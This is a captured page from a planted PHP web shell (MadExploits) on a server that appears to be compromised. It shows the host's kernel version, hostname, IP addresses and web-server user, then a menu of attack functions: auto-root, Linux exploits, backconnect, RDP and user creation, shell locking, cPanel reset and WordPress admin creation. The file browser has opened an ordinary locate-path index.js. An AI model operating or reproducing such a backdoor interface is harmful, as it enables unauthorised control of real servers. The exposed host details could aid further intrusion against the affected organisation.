Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.143.239.135
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
locate-path /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
1.54
KB
-rw-r--r--
index.js
1.3
KB
-rw-r--r--
package.json
720
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
'use strict'; const path = require('path'); const fs = require('fs'); const {promisify} = require('util'); const pLocate = require('p-locate'); const fsStat = promisify(fs.stat); const fsLStat = promisify(fs.lstat); const typeMappings = { directory: 'isDirectory', file: 'isFile' }; function checkType({type}) { if (type in typeMappings) { return; } throw new Error(`Invalid type specified: ${type}`); } const matchType = (type, stat) => type === undefined || stat[typeMappings[type]](); module.exports = async (paths, options) => { options = { cwd: process.cwd(), type: 'file', allowSymlinks: true, ...options }; checkType(options); const statFn = options.allowSymlinks ? fsStat : fsLStat; return pLocate(paths, async path_ => { try { const stat = await statFn(path.resolve(options.cwd, path_)); return matchType(options.type, stat); } catch (_) { return false; } }, options); }; module.exports.sync = (paths, options) => { options = { cwd: process.cwd(), allowSymlinks: true, type: 'file', ...options }; checkType(options); const statFn = options.allowSymlinks ? fs.statSync : fs.lstatSync; for (const path_ of paths) { try { const stat = statFn(path.resolve(options.cwd, path_)); if (matchType(options.type, stat)) { return path_; } } catch (_) { } } };
Close